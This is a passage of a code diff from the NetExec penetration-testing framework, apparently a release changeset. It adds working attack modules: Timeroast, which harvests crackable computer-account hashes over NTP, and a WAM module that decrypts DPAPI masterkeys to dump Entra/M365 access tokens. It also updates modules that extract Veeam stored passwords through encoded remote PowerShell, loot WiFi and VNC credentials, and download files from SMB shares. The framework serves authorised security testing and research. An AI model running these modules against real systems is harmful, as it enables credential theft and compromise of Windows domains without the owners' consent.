context.log.debug(f"Downloading {remote_file_path} to {local_file_path}")
|
||||
connection.conn.getFile(self.share, remote_file_path, local_file.write)
|
||||
|
||||
if not exists(local_file_path):
|
||||
context.log.fail(f"Downloaded file '{local_file_path}' does not exist.")
|
||||
continue
|
||||
|
||||
file_size = getsize(local_file_path)
|
||||
if file_size == 0:
|
||||
context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.")
|
||||
os.remove(local_file_path)
|
||||
else:
|
||||
total_files_downloaded += 1
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}")
|
||||
|
||||
if total_files_downloaded > 0 and host_output_path:
|
||||
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")
|
||||
|
||||
|
||||
def find_screenshots_folders(self, user_folder_name):
|
||||
"""
|
||||
Dynamically searches for all Screenshots folders in the user's home directory.
|
||||
Returns a list of paths.
|
||||
"""
|
||||
base_path = ntpath.normpath(join(r"Users", user_folder_name))
|
||||
screenshots_folders = []
|
||||
try:
|
||||
subfolders = self.connection.conn.listPath(self.share, base_path + "\\*")
|
||||
for subfolder in subfolders:
|
||||
if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]:
|
||||
potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots")
|
||||
try:
|
||||
if self.connection.conn.listPath(self.share, potential_path + "\\*"):
|
||||
screenshots_folders.append(potential_path)
|
||||
except Exception:
|
||||
continue
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}")
|
||||
return screenshots_folders
|
||||
+13
-13
@@ -3,10 +3,11 @@ import errno
|
||||
from os.path import abspath, join, split, exists, splitext, getsize, sep
|
||||
from os import makedirs, remove, stat
|
||||
import time
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.nmb import NetBIOSTimeout
|
||||
|
||||
|
||||
CHUNK_SIZE = 4096
|
||||
@@ -116,18 +117,16 @@ class SMBSpiderPlus:
|
||||
filelist = self.smb.conn.listPath(share, subfolder + "*")
|
||||
|
||||
except SessionError as e:
|
||||
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".')
|
||||
self.logger.debug(str(e))
|
||||
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}')
|
||||
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.logger.debug(f'Cannot list files in folder "{subfolder}".')
|
||||
|
||||
elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
self.logger.debug(f"The folder {subfolder} does not exist.")
|
||||
|
||||
elif self.reconnect():
|
||||
filelist = self.list_path(share, subfolder)
|
||||
|
||||
except NetBIOSTimeout as e:
|
||||
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}')
|
||||
return filelist
|
||||
|
||||
def get_remote_file(self, share, path):
|
||||
@@ -166,7 +165,7 @@ class SMBSpiderPlus:
|
||||
|
||||
def get_file_save_path(self, remote_file):
|
||||
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
|
||||
|
||||
|
||||
It converts forward slashes (/) and backslashes (\) in the remote file path to the appropriate path separator for the local file system.
|
||||
The folder path and filename are then obtained separately.
|
||||
"""
|
||||
@@ -213,9 +212,9 @@ class SMBSpiderPlus:
|
||||
# Start the spider at the root of the share folder
|
||||
self.results[share_name] = {}
|
||||
self.spider_folder(share_name, "")
|
||||
except SessionError as e:
|
||||
except (SessionError, NetBIOSTimeout) as e:
|
||||
self.logger.exception(e)
|
||||
self.logger.fail("Got a session error while spidering.")
|
||||
self.logger.fail(f"Got a session or NetBIOSTimeout error while spidering share: {share_name}")
|
||||
self.reconnect()
|
||||
|
||||
except Exception as e:
|
||||
@@ -286,8 +285,9 @@ class SMBSpiderPlus:
|
||||
# Check file extension filter.
|
||||
_, file_extension = splitext(file_path)
|
||||
if file_extension:
|
||||
file_extension = file_extension.lstrip(".")
|
||||
self.stats["file_exts"].add(file_extension.lower())
|
||||
if file_extension.lower() in self.exclude_exts:
|
||||
if file_extension.lower() in [ext.lstrip(".") for ext in self.exclude_exts]:
|
||||
self.logger.info(f'The file "{file_path}" has an excluded extension.')
|
||||
self.stats["num_files_filtered"] += 1
|
||||
return
|
||||
@@ -373,7 +373,7 @@ class SMBSpiderPlus:
|
||||
|
||||
def dump_folder_metadata(self, results):
|
||||
"""Takes the metadata results as input and writes them to a JSON file in the `self.output_folder`.
|
||||
|
||||
|
||||
The results are formatted with indentation and sorted keys before being written to the file.
|
||||
"""
|
||||
metadata_path = join(self.output_folder, f"{self.host}.json")
|
||||
@@ -485,7 +485,7 @@ class NXCModule:
|
||||
EXCLUDE_EXTS Case-insensitive extension filter to exclude (Default: ico,lnk)
|
||||
EXCLUDE_FILTER Case-insensitive filter to exclude folders/files (Default: print$,ipc$)
|
||||
MAX_FILE_SIZE Max file size to download (Default: 51200)
|
||||
OUTPUT_FOLDER Path of the local folder to save files (Default: /tmp/nxc_spider_plus)
|
||||
OUTPUT_FOLDER Path of the local folder to save files (Default: ~/.nxc/nxc_spider_plus)
|
||||
"""
|
||||
self.download_flag = False
|
||||
if any("DOWNLOAD" in key for key in module_options):
|
||||
@@ -498,7 +498,7 @@ class NXCModule:
|
||||
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
|
||||
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
|
||||
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
|
||||
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
|
||||
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(NXC_PATH, "modules/nxc_spider_plus")))
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Started module spidering_plus with the following options:")
|
||||
|
||||
@@ -42,12 +42,12 @@ class NXCModule:
|
||||
multiple_hosts = False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
dn = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
|
||||
dn = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
|
||||
|
||||
context.log.display("Getting the Sites and Subnets from domain")
|
||||
|
||||
try:
|
||||
list_sites = connection.ldapConnection.search(
|
||||
list_sites = connection.ldap_connection.search(
|
||||
searchBase=f"CN=Configuration,{dn}",
|
||||
searchFilter="(objectClass=site)",
|
||||
attributes=["distinguishedName", "name", "description"],
|
||||
@@ -68,7 +68,7 @@ class NXCModule:
|
||||
site_description = site["description"]
|
||||
|
||||
# Getting subnets of this site
|
||||
list_subnets = connection.ldapConnection.search(
|
||||
list_subnets = connection.ldap_connection.search(
|
||||
searchBase=f"CN=Sites,CN=Configuration,{dn}",
|
||||
searchFilter=f"(siteObject={site_dn})",
|
||||
attributes=["distinguishedName", "name"],
|
||||
@@ -86,7 +86,7 @@ class NXCModule:
|
||||
|
||||
if self.showservers:
|
||||
# Getting machines in these subnets
|
||||
list_servers = connection.ldapConnection.search(
|
||||
list_servers = connection.ldap_connection.search(
|
||||
searchBase=site_dn,
|
||||
searchFilter="(objectClass=server)",
|
||||
attributes=["cn"],
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
from binascii import hexlify, unhexlify
|
||||
from select import select
|
||||
from time import time
|
||||
from socket import socket, AF_INET, SOCK_DGRAM
|
||||
from struct import pack, unpack
|
||||
|
||||
|
||||
|
||||
def hashcat_format(rid, hashval, salt):
|
||||
"""Encodes hash in Hashcat-compatible format (with username prefix)."""
|
||||
return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}"
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Disgame: @Disgame
|
||||
Based on research from SecuraBV (@SecuraBV)
|
||||
|
||||
https://github.com/SecuraBV/Timeroast/
|
||||
|
||||
Much of this code was copied from the original implementation.
|
||||
"""
|
||||
|
||||
name = "timeroast"
|
||||
description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
|
||||
self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a")
|
||||
|
||||
|
||||
def options(self, context, module_options):
|
||||
self.rids = range(1, 2**31)
|
||||
self.rate = 180
|
||||
self.timeout = 24
|
||||
self.src_port = 0
|
||||
self.old_hashes = False
|
||||
self.target = None
|
||||
|
||||
if "rids" in module_options:
|
||||
self.rids = module_options["rids"]
|
||||
if "rate" in module_options:
|
||||
self.rate = module_options["rate"]
|
||||
if "timeout" in module_options:
|
||||
self.timeout = module_options["timeout"]
|
||||
if "src_port" in module_options:
|
||||
self.src_port = module_options["src_port"]
|
||||
if "old_hashes" in module_options:
|
||||
self.old_hashes = module_options["old_hashes"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.target is None:
|
||||
self.target = connection.host
|
||||
|
||||
context.log.display("Starting Timeroasting...")
|
||||
|
||||
for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port):
|
||||
context.log.highlight(hashcat_format(rid, md5hash, salt))
|
||||
|
||||
def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0):
|
||||
"""Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
|
||||
Rate is the number of queries per second to send.
|
||||
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
|
||||
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
|
||||
issues.
|
||||
|
||||
Yields (rid, hash, salt) pairs, where salt is the NTP response data.
|
||||
"""
|
||||
# Flag in key identifier that indicates whether the old or new password should be used.
|
||||
keyflag = 2**31 if old_pwd else 0
|
||||
|
||||
# Bind UDP socket.
|
||||
with socket(AF_INET, SOCK_DGRAM) as sock:
|
||||
try:
|
||||
sock.bind(("0.0.0.0", src_port))
|
||||
except PermissionError:
|
||||
context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.")
|
||||
|
||||
|
||||
query_interval = 1 / rate
|
||||
last_ok_time = time()
|
||||
rids_received = set()
|
||||
rid_iterator = iter(rids)
|
||||
|
||||
while time() < last_ok_time + giveup_time:
|
||||
# Send out query for the next RID, if any.
|
||||
query_rid = next(rid_iterator, None)
|
||||
if query_rid is not None:
|
||||
query = self.ntp_prefix + pack("<I", query_rid ^ keyflag) + b"\x00" * 16
|
||||
sock.sendto(query, (dc_host, 123))
|
||||
|
||||
# Wait for either a response or time to send the next query.
|
||||
ready, [], [] = select([sock], [], [], query_interval)
|
||||
if ready:
|
||||
reply = sock.recvfrom(120)[0]
|
||||
|
||||
# Extract RID, hash and "salt" if succesful.
|
||||
if len(reply) == 68:
|
||||
salt = reply[:48]
|
||||
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
|
||||
md5hash = reply[-16:]
|
||||
|
||||
# Filter out duplicates.
|
||||
if answer_rid not in rids_received:
|
||||
rids_received.add(answer_rid)
|
||||
yield answer_rid, md5hash, salt
|
||||
last_ok_time = time()
|
||||
@@ -71,12 +71,12 @@ class NXCModule:
|
||||
Users can specify additional LDAP filters that are applied to the query.
|
||||
"""
|
||||
self.context = context
|
||||
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
|
||||
self.create_log_file(connection.target, datetime.now().strftime("%Y%m%d_%H%M%S"))
|
||||
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
|
||||
|
||||
try:
|
||||
sc = ldap.SimplePagedResultsControl()
|
||||
connection.ldapConnection.search(
|
||||
connection.ldap_connection.search(
|
||||
searchFilter=self.search_filter,
|
||||
attributes=["sAMAccountName", "description"],
|
||||
sizeLimit=0,
|
||||
|
||||
+36
-13
@@ -40,6 +40,9 @@ class NXCModule:
|
||||
PostgresUserForWindowsAuth = ""
|
||||
SqlDatabaseName = ""
|
||||
|
||||
# Salt for newer Veeam versions
|
||||
salt = ""
|
||||
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
@@ -72,6 +75,8 @@ class NXCModule:
|
||||
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
|
||||
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
|
||||
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
|
||||
|
||||
salt = self.get_salt(context, remoteOps, regHandle)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No Veeam v12 installation found")
|
||||
@@ -107,28 +112,38 @@ class NXCModule:
|
||||
# Check if we found an SQL Server of some kind
|
||||
if SqlDatabase and SqlInstance and SqlServer:
|
||||
context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
|
||||
credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
|
||||
credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt)
|
||||
self.printCreds(context, credentials)
|
||||
elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
|
||||
context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
|
||||
credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
|
||||
credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt)
|
||||
self.printCreds(context, credentials)
|
||||
|
||||
def stripXmlOutput(self, context, output):
|
||||
return output.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
def get_salt(self, context, remoteOps, regHandle):
|
||||
try:
|
||||
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\Data")["phkResult"]
|
||||
return rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EncryptionSalt")[1].split("\x00")[:-1][0]
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No Salt found")
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
|
||||
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
|
||||
def executePsMssql(self, connection, SqlDatabase, SqlInstance, SqlServer, salt):
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_b64Salt", salt)
|
||||
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
|
||||
|
||||
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
|
||||
def executePsPostgreSql(self, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt):
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_b64Salt", salt)
|
||||
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
|
||||
@@ -136,13 +151,13 @@ class NXCModule:
|
||||
def printCreds(self, context, output):
|
||||
# Format output if returned in some XML Format
|
||||
if "CLIXML" in output:
|
||||
output = self.stripXmlOutput(context, output)
|
||||
output = output.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
|
||||
if "Access denied" in output:
|
||||
context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.")
|
||||
|
||||
# Stripping whitespaces and newlines
|
||||
output_stripped = [" ".join(line.split()) for line in output.split("\r\n") if line.strip()]
|
||||
output_stripped = [line for line in output.replace("\r", "").split("\n") if line.strip()]
|
||||
|
||||
# Error handling
|
||||
if "Can't connect to DB! Exiting..." in output_stripped or "No passwords found!" in output_stripped:
|
||||
@@ -152,12 +167,20 @@ class NXCModule:
|
||||
# When powershell returns something else than the usernames and passwords account.split() will throw a ValueError.
|
||||
# This is likely an error thrown by powershell, so we print the error and the output for debugging purposes.
|
||||
try:
|
||||
context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}")
|
||||
context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}")
|
||||
for account in output_stripped:
|
||||
user, password = account.split(" ", 1)
|
||||
password = password.replace("WHITESPACE_ERROR", " ")
|
||||
context.log.highlight(f"{user}:{password}")
|
||||
if " " in password:
|
||||
context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"')
|
||||
# Remove multiple whitespaces
|
||||
account = " ".join(account.split())
|
||||
try:
|
||||
user, password, description = account.split(" ", 2)
|
||||
except ValueError:
|
||||
user, password = account.split(" ", 1)
|
||||
description = ""
|
||||
user = user.strip().replace("WHITESPACE_ERROR", " ").strip()
|
||||
password = password.strip().replace("WHITESPACE_ERROR", " ").strip()
|
||||
description = description.strip().replace("WHITESPACE_ERROR", " ").strip()
|
||||
context.log.highlight(f"{user:<40} {password:<40} {description}")
|
||||
except ValueError:
|
||||
context.log.fail(f"Powershell returned unexpected output: {output_stripped}")
|
||||
context.log.fail("Please report this issue on GitHub!")
|
||||
|
||||
+4
-11
@@ -1,6 +1,5 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
@@ -13,6 +12,8 @@ from binascii import unhexlify
|
||||
import codecs
|
||||
import re
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -51,7 +52,7 @@ class NXCModule:
|
||||
self.connection = connection
|
||||
self.share = self.connection.args.share
|
||||
|
||||
host = connection.hostname + "." + connection.domain
|
||||
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
@@ -73,7 +74,7 @@ class NXCModule:
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
|
||||
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
|
||||
if not self.no_remoteops:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
@@ -81,14 +82,6 @@ class NXCModule:
|
||||
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
|
||||
self.vnc_from_filesystem(dploot_conn)
|
||||
|
||||
def upgrade_connection(self, target: Target, connection=None):
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
else:
|
||||
conn.connect()
|
||||
return conn
|
||||
|
||||
def reg_query_value(self, remote_ops, path, key, hku=False):
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
import re
|
||||
import jwt
|
||||
from dploot.triage.wam import WamTriage
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "wam"
|
||||
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
|
||||
|
||||
def token_callback(token):
|
||||
for attrib in token.attribs:
|
||||
if attrib["Key"].decode() == "WTRes_Token":
|
||||
# Extract every access token
|
||||
for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
|
||||
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
|
||||
if "preferred_username" in decoded_token:
|
||||
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
|
||||
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
|
||||
|
||||
try:
|
||||
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
triage.triage_wam()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot access tokens: {e}")
|
||||
+2
-2
@@ -54,7 +54,7 @@ class ConfigCheck:
|
||||
self.reasons = []
|
||||
|
||||
def run(self):
|
||||
for checker, args, kwargs in zip(self.checkers, self.checker_args, self.checker_kwargs):
|
||||
for checker, args, kwargs in zip(self.checkers, self.checker_args, self.checker_kwargs, strict=True):
|
||||
if checker is None:
|
||||
checker = HostChecker.check_registry
|
||||
|
||||
@@ -174,7 +174,7 @@ class HostChecker:
|
||||
ConfigCheck("IPv4 preferred over IPv6", "Checks if IPv4 is preferred over IPv6", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
|
||||
ConfigCheck("Spooler service disabled", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
|
||||
ConfigCheck("WDigest authentication disabled", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
|
||||
ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
|
||||
ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
|
||||
ConfigCheck("Small LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
|
||||
ConfigCheck("AppLocker rules defined", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
|
||||
ConfigCheck("RDP expiration time", "Checks RDP session timeout", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt), ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt)]]),
|
||||
|
||||
@@ -17,13 +17,13 @@ class NXCModule:
|
||||
self.username = module_options["USER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchBase = connection.ldapConnection._baseDN
|
||||
searchBase = connection.ldap_connection._baseDN
|
||||
searchFilter = f"(sAMAccountName={connection.username})" if self.username is None else f"(sAMAccountName={format(self.username)})"
|
||||
|
||||
context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter")
|
||||
|
||||
# Get attributes of provided user
|
||||
r = connection.ldapConnection.search(
|
||||
r = connection.ldap_connection.search(
|
||||
searchBase=searchBase,
|
||||
searchFilter=searchFilter,
|
||||
attributes=[
|
||||
|
||||
+11
-27
@@ -1,9 +1,8 @@
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.triage.wifi import WifiTriage
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -17,44 +16,29 @@ class NXCModule:
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = None
|
||||
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = []
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={})
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
|
||||
+22
-9
@@ -5,16 +5,17 @@
|
||||
# - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb
|
||||
|
||||
import traceback
|
||||
from typing import Tuple
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
from urllib.parse import unquote
|
||||
from io import BytesIO
|
||||
import re
|
||||
import configparser
|
||||
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @NeffIsBack"""
|
||||
|
||||
